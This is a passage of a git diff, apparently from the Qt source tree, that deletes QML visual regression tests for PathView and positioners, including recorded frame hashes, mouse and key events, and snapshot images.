1360 - hash: "9725322067a04f83717b059d4970d610" - } - Frame { - msec: 1376 - hash: "3605cfbebc3a9eb4460efb2d4b9b6da2" - } - Frame { - msec: 1392 - hash: "4503a368d8db25d112503dbc3934541d" - } - Frame { - msec: 1408 - hash: "80894cc06c82264bf527398ea235da12" - } - Frame { - msec: 1424 - hash: "d4f9b90f886fc667309b33c9a296410c" - } - Frame { - msec: 1440 - hash: "889d01025cff679b61bff182a1ac9cbc" - } - Frame { - msec: 1456 - hash: "6147bc4455e7cb5ae55cd47be8dc4ad6" - } - Frame { - msec: 1472 - hash: "ddd10a294eb6b19698c4e9fe4f1508fe" - } - Frame { - msec: 1488 - hash: "748e8d9c1971f6258acee5133b7f114b" - } - Frame { - msec: 1504 - hash: "1ef3f32ec9ef950588266bacbe3554a0" - } - Frame { - msec: 1520 - hash: "57853ff47b65aba9e76f90b2efec4f8f" - } - Frame { - msec: 1536 - hash: "3985fea21d89d223c1461d5e96364c76" - } - Frame { - msec: 1552 - hash: "cb5f6a3caeeaed12e91efe43867f2c1f" - } - Frame { - msec: 1568 - hash: "cdd4176776d5969373e0fc9a117e3c87" - } - Frame { - msec: 1584 - hash: "3bac2e7506472db2ae11734240f1c3f4" - } - Frame { - msec: 1600 - hash: "bb572659d79ebda7134c039e40cf2633" - } - Frame { - msec: 1616 - hash: "e610181bfa17a85281f9c7417088f04f" - } - Frame { - msec: 1632 - hash: "eb23ff021909589b6d8ce47ebff2c3ed" - } - Frame { - msec: 1648 - hash: "c321dda3878c4b97cc63246c47368224" - } - Frame { - msec: 1664 - hash: "6a65cdfd50e1455356040d4cbc09905e" - } - Frame { - msec: 1680 - hash: "f2a44b12e4e5bae8283c4d227949e4e8" - } - Frame { - msec: 1696 - hash: "55418d661f3257b5b79a7dbb172b5b70" - } - Frame { - msec: 1712 - hash: "483d7111c86951918746d6ebe0dd9655" - } - Frame { - msec: 1728 - hash: "85c83ac3a294a9320bb04a6721ecf7d5" - } - Frame { - msec: 1744 - hash: "0d658b897b8e03397ddd8ffe475c2fc0" - } - Frame { - msec: 1760 - hash: "6ed9d7ea344b3c1b1d9196ee36b2f89a" - } - Frame { - msec: 1776 - hash: "6a1e7f6c03769c2c88e6343fb6c1a2a4" - } - Frame { - msec: 1792 - hash: "9dc51f46e072eac4494d7318f2ecb39b" - } - Frame { - msec: 1808 - hash: "59e833981c3fcd8a71f4a16d1c454b3a" - } - Frame { - msec: 1824 - hash: "29b953efdda00548d8cf6fb49fa60d13" - } - Frame { - msec: 1840 - hash: "fd4611f703f94ebefcc64781993ca85c" - } - Frame { - msec: 1856 - hash: "aa4789ede618963157b40f099ce84987" - } - Frame { - msec: 1872 - hash: "8a326b46ec536a67626ee2d2bc06aa9f" - } - Frame { - msec: 1888 - hash: "011ff557672d47591e4f0f5c5ee418f1" - } - Frame { - msec: 1904 - hash: "d72fba857bdc128ddcb5971b86aadcb2" - } - Frame { - msec: 1920 - image: "test-pathview.1.png" - } - Frame { - msec: 1936 - hash: "49182b7ae9ef5fb4b9234969abd05960" - } - Frame { - msec: 1952 - hash: "53de60f682574b7a9e6ffaee175fc9ff" - } - Frame { - msec: 1968 - hash: "2de74fe5b8848c5c781b796146871f45" - } - Frame { - msec: 1984 - hash: "33c87146d8c24dd9c2271d16a8ff5b53" - } - Frame { - msec: 2000 - hash: "fdb29214e20d744d9776907061f50358" - } - Frame { - msec: 2016 - hash: "8c7c920416c9b775e790e6da24c32927" - } - Frame { - msec: 2032 - hash: "86b456059e4701379447fffaf9e072f0" - } - Frame { - msec: 2048 - hash: "f92cc485ee03ef5bce3c4cdc35e00318" - } - Frame { - msec: 2064 - hash: "2fad58883cb20273cfd79ebca345a66d" - } - Frame { - msec: 2080 - hash: "84505ebbc6e12817f11f64aa6f61a0bf" - } - Frame { - msec: 2096 - hash: "ded83cacb89838cc0f3ba14bcc69b66b" - } - Frame { - msec: 2112 - hash: "5bb37e75bb45eaa6067c604b83ae13d7" - } - Frame { - msec: 2128 - hash: "4ee9e4c90c40dbc25a0ce884d9c2c37f" - } - Frame { - msec: 2144 - hash: "cb7148ff6f611038c29af36c8552b8c2" - } - Frame { - msec: 2160 - hash: "a591d8cb42570272dd264d5f1ce595ab" - } - Frame { - msec: 2176 - hash: "4e61657405d32dbcd39d3637f8af0958" - } - Frame { - msec: 2192 - hash: "9c7c1411dd5d3c1c8fb78e63e14061fe" - } - Frame { - msec: 2208 - hash: "ae83a37e99b578fa0872ed6bc2776bc0" - } - Frame { - msec: 2224 - hash: "e8cb5a8a40c1e78c87c616f77d8de270" - } - Frame { - msec: 2240 - hash: "9df093e4bcfa32be5924a0ca70bdaa3b" - } - Frame { - msec: 2256 - hash: "40c358066d508143bee1446d12fe7b89" - } - Frame { - msec: 2272 - hash: "a929ed6efc7fc68b38635f3c74242f52" - } - Frame { - msec: 2288 - hash: "86ff721a3178b689ea47b6bc274a2b41" - } - Frame { - msec: 2304 - hash: "ed1f680f6d05f54ceb75c9bae3a0716a" - } - Frame { - msec: 2320 - hash: "3f09a565df2beb51f366a1b3fb6adfe9" - } - Frame { - msec: 2336 - hash: "13468347bd26bab60f1db826fb17631c" - } - Frame { - msec: 2352 - hash: "9f7d085fea5788a457098973f17c36cb" - } - Frame { - msec: 2368 - hash: "4114b93246155b3434200831b2995330" - } - Frame { - msec: 2384 - hash: "487171bd1430f74e3d51b5e215c34b5c" - } - Frame { - msec: 2400 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2416 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2432 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2448 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2464 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2480 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2496 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2512 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2528 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2544 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2560 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2576 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2592 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2608 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2624 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2640 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2656 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2672 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2688 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2704 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2720 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2736 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2752 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2768 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2784 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2800 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2816 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2832 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2848 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2864 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2880 - image: "test-pathview.2.png" - } - Frame { - msec: 2896 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2912 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2928 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2944 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2960 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2976 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 2992 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3008 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3024 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3040 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3056 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3072 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3088 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 728; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3104 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3120 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Frame { - msec: 3136 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 727; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3152 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 723; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3168 - hash: "7ba9783ce63db6ad6b5f725a4ecd4eb8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 717; y: 184 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3184 - hash: "6dcec6cdaa35eba74607ba64d6ea2ec0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 705; y: 188 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3200 - hash: "16b7b4847fe86b25d8d6136106a4c400" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 686; y: 197 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3216 - hash: "d946d55b19c99fa25bf1c04f2b71026a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 661; y: 207 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3232 - hash: "96f40f5071365cde769c733fd1ef5a24" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 626; y: 221 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3248 - hash: "7004058b95b7eab3ebba5c80c0923982" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 582; y: 235 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3264 - hash: "2c78880237c414182f97f1709f1eef0f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 532; y: 246 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3280 - hash: "c90a15ec9f88008ca8b0ec0185444d71" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 532; y: 246 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3296 - hash: "c90a15ec9f88008ca8b0ec0185444d71" - } - Frame { - msec: 3312 - hash: "36461e2a4cd860cac32223b8ee73c657" - } - Frame { - msec: 3328 - hash: "5f9b3ad9202fb02a4c6fea28c248ad22" - } - Frame { - msec: 3344 - hash: "d0d23c4e1ddb2d9ffa0ecc38030ae15c" - } - Frame { - msec: 3360 - hash: "8e2e2d3eaf557c453f34016b6614e495" - } - Frame { - msec: 3376 - hash: "7402c747fa7276293a0a72d48d342782" - } - Frame { - msec: 3392 - hash: "6090c30e4d722a32c083a25171fb11ff" - } - Frame { - msec: 3408 - hash: "f770d940cf287fec4b0803f7310292a8" - } - Frame { - msec: 3424 - hash: "558e4ce32df69357b70a8285b00fe347" - } - Frame { - msec: 3440 - hash: "8814168503c9a72ea8d3fa1e503f33d9" - } - Frame { - msec: 3456 - hash: "6f5513d22e545096fadc6f5c4112902e" - } - Frame { - msec: 3472 - hash: "43f11d8ac16fd3e8199e555528817e14" - } - Frame { - msec: 3488 - hash: "d64bafdbd26878a323dae918d5e0a36d" - } - Frame { - msec: 3504 - hash: "1c70bdddfc3751ae3864f008170f8b06" - } - Frame { - msec: 3520 - hash: "bb7a18691fcd371e9d382b5bba4a0573" - } - Frame { - msec: 3536 - hash: "547e15f5dea2d9aa3ed44640b25028b9" - } - Frame { - msec: 3552 - hash: "c11b86a256fac6be10b9a54564903d6f" - } - Frame { - msec: 3568 - hash: "0ada2dc586894d5e37de2632d2b37b15" - } - Frame { - msec: 3584 - hash: "0ae1a39ea196a0e734d80dbdea67b285" - } - Frame { - msec: 3600 - hash: "3cb70e64f9ab8aad841326dc2d2f1615" - } - Frame { - msec: 3616 - hash: "a8f8b5ff19df9163ea628b589b675a5e" - } - Frame { - msec: 3632 - hash: "26fcc73f477db0ea731bc18b00b4c791" - } - Frame { - msec: 3648 - hash: "8702e49f3f26e1e21970e78c8aa4040a" - } - Frame { - msec: 3664 - hash: "1a482a39d02779d8733e348b713f2312" - } - Frame { - msec: 3680 - hash: "c728cc4a8e4d0a8d983514f86a92eae0" - } - Frame { - msec: 3696 - hash: "82360ab373b08bf6a5d9e9ea9d0d18aa" - } - Frame { - msec: 3712 - hash: "6231a4bce6cfc1e26a9606cc041acdbc" - } - Frame { - msec: 3728 - hash: "6e3b48862fc749f15aa2dec1c17d1de0" - } - Frame { - msec: 3744 - hash: "6c9e79a5692a3810b2a9058790f54cd7" - } - Frame { - msec: 3760 - hash: "0652c67fedda0d5e55858ddefff2da9e" - } - Frame { - msec: 3776 - hash: "3b058c0efeb3a9da54a1de72a1792a83" - } - Frame { - msec: 3792 - hash: "96e6fb39c8dbfe4a00bf116bf80aac4d" - } - Frame { - msec: 3808 - hash: "979c0c78c41e0f337cfe1b384fbbe51a" - } - Frame { - msec: 3824 - hash: "8be0d6987a6d12864f30336b249e4b16" - } - Frame { - msec: 3840 - image: "test-pathview.3.png" - } - Frame { - msec: 3856 - hash: "31e665f804a52a4dc88eab5dba78ae5a" - } - Frame { - msec: 3872 - hash: "b7d4cf5a6a3ac79da3be101b50b38bc2" - } - Frame { - msec: 3888 - hash: "559b1b8467b611cdeb7f2ae660e3bf51" - } - Frame { - msec: 3904 - hash: "66abb5af85e793569382efb04744d0de" - } - Frame { - msec: 3920 - hash: "b64eff8bbea5a953d146333363825724" - } - Frame { - msec: 3936 - hash: "47b794c971c4d47baf15e1d63d65ac03" - } - Frame { - msec: 3952 - hash: "b3882fa14f3cb7428c660737656d7ea2" - } - Frame { - msec: 3968 - hash: "a6bd71c7d3a0f3f53674ea8e1334e560" - } - Frame { - msec: 3984 - hash: "0926d3cd53aabb789686e34d91ef23dc" - } - Frame { - msec: 4000 - hash: "914c4fa7264111b4a42c82a60701d652" - } - Frame { - msec: 4016 - hash: "84c1fa22440a61126b79c38605b6f9ca" - } - Frame { - msec: 4032 - hash: "b684fcf9f4725cfc02af0187454dfaf8" - } - Frame { - msec: 4048 - hash: "2e94c1ca74af4eb836a0c505d131f263" - } - Frame { - msec: 4064 - hash: "5f04912674e1bcdb16176976d10ce995" - } - Frame { - msec: 4080 - hash: "aaf0bcef4a15aa1c699eaa1ce817c8ed" - } - Frame { - msec: 4096 - hash: "97fd5bdcfa367191fbd3689658ab3273" - } - Frame { - msec: 4112 - hash: "d76d6c59411636a0e9ac2e0c847b3fe3" - } - Frame { - msec: 4128 - hash: "9cb88a76c962623b1a9cf4e7093d6e54" - } - Frame { - msec: 4144 - hash: "ec3d7075680296905b1bdd6fdd9fcc40" - } - Frame { - msec: 4160 - hash: "43c70dabc45ed059e8b876eb2ba5c66e" - } - Frame { - msec: 4176 - hash: "8f97ca5c3092a20009c5d00139105a22" - } - Frame { - msec: 4192 - hash: "d0f225d4b03495218f7916698e254338" - } - Frame { - msec: 4208 - hash: "f8725467353a8f27bc5570af157c93c7" - } - Frame { - msec: 4224 - hash: "749c8ca5c0a7774c81805b792e6b70e3" - } - Frame { - msec: 4240 - hash: "d353c4a8a5eecb1dce30f4a5b85b1ef4" - } - Frame { - msec: 4256 - hash: "a7105f3f1ddace730d0b4a12a3560208" - } - Frame { - msec: 4272 - hash: "918f480af8a35f6074ff1e202dae2660" - } - Frame { - msec: 4288 - hash: "ed98d08eb30db1b41aaf2a58f3b59398" - } - Frame { - msec: 4304 - hash: "c362cf053b3749a44d1fc33483f9952b" - } - Frame { - msec: 4320 - hash: "9b01b2c771ef86ff4a8ee3f6a4676e3c" - } - Frame { - msec: 4336 - hash: "70ccec3c9db95206b5589d43dcd52b13" - } - Frame { - msec: 4352 - hash: "57e7397c6aadd0d4d5c9d9d5fcdd8fde" - } - Frame { - msec: 4368 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4384 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4400 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4416 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4432 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4448 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4464 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4480 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4496 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4512 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4528 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4544 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4560 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4576 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4592 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4608 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4624 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4640 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4656 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4672 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4688 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4704 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4720 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4736 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4752 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4768 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4784 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4800 - image: "test-pathview.4.png" - } - Frame { - msec: 4816 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4832 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4848 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4864 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4880 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4896 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4912 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4928 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4944 - hash: "299b24eae7720e1711744b23335bca8c" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 4960 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4976 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 4992 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5008 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5024 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5040 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5056 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5072 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5088 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5104 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5120 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5136 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5152 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5168 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5184 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5200 - hash: "299b24eae7720e1711744b23335bca8c" - } - Frame { - msec: 5216 - hash: "299b24eae7720e1711744b23335bca8c" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepathview/test-pathview-2.qml b/tests/auto/declarative/visual/qdeclarativepathview/test-pathview-2.qml deleted file mode 100644 index c6d71d5..0000000 --- a/tests/auto/declarative/visual/qdeclarativepathview/test-pathview-2.qml +++ /dev/null @@ -1,62 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 800; height: 450 - //Same as test-pathview, but with pathItemCount < model.count - - ListModel { - id: rssModel - ListElement { lColor: "red" } - ListElement { lColor: "green" } - ListElement { lColor: "yellow" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "gray" } - ListElement { lColor: "brown" } - ListElement { lColor: "thistle" } - } - - Component { - id: photoDelegate - Rectangle { - id: wrapper - width: 85; height: 85; color: lColor - scale: wrapper.PathView.scale - - transform: Rotation { - id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 - axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle - } - } - } - - PathView { - id: pathView; model: rssModel; delegate: photoDelegate - y: 100; width: 800; height: 330; pathItemCount: 6; z: 1 - focus: true - path: Path { - startX: -50; startY: 40; - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: -45 } - - PathCubic { - x: 400; y: 220 - control1X: 140; control1Y: 40 - control2X: 210; control2Y: 220 - } - - PathAttribute { name: "scale"; value: 1.2 } - PathAttribute { name: "angle"; value: 0 } - - PathCubic { - x: 850; y: 40 - control2X: 660; control2Y: 40 - control1X: 590; control1Y: 220 - } - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: 45 } - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepathview/test-pathview.qml b/tests/auto/declarative/visual/qdeclarativepathview/test-pathview.qml deleted file mode 100644 index 0adfa02..0000000 --- a/tests/auto/declarative/visual/qdeclarativepathview/test-pathview.qml +++ /dev/null @@ -1,62 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 800; height: 450 - - ListModel { - id: rssModel - ListElement { lColor: "red" } - ListElement { lColor: "green" } - ListElement { lColor: "yellow" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "gray" } - ListElement { lColor: "brown" } - ListElement { lColor: "thistle" } - } - - Component { - id: photoDelegate - Rectangle { - id: wrapper - width: 85; height: 85; color: lColor - scale: wrapper.PathView.scale - - MouseArea { anchors.fill: parent } - - transform: Rotation { - id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 - axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle - } - } - } - - PathView { - id: photoPathView; model: rssModel; delegate: photoDelegate - y: 100; width: 800; height: 330; pathItemCount: 10; z: 1 - path: Path { - startX: -50; startY: 40; - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: -45 } - - PathCubic { - x: 400; y: 220 - control1X: 140; control1Y: 40 - control2X: 210; control2Y: 220 - } - - PathAttribute { name: "scale"; value: 1.2 } - PathAttribute { name: "angle"; value: 0 } - - PathCubic { - x: 850; y: 40 - control2X: 660; control2Y: 40 - control1X: 590; control1Y: 220 - } - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: 45 } - } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.0.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.0.png deleted file mode 100644 index f474afe..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.1.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.1.png deleted file mode 100644 index 8b7ae74..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.2.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.2.png deleted file mode 100644 index 9088bb4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.3.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.3.png deleted file mode 100644 index 18cd429..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.4.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.4.png deleted file mode 100644 index 739afc1..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.5.png b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.5.png deleted file mode 100644 index 93f0682..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.qml b/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.qml deleted file mode 100644 index 7091bb3..0000000 --- a/tests/auto/declarative/visual/qdeclarativepositioners/data/dynamic.qml +++ /dev/null @@ -1,1603 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 32 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 48 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 64 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 80 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 96 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 112 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 128 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 144 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 160 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 176 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 192 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 208 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 224 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 240 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 256 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 272 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 288 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 304 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 320 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 336 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 352 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 368 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 384 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 400 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 416 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 432 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 448 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 464 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 480 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 496 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 512 - hash: "ee42cfa8cbbd67becb7d50998d26fe73" - } - Frame { - msec: 528 - 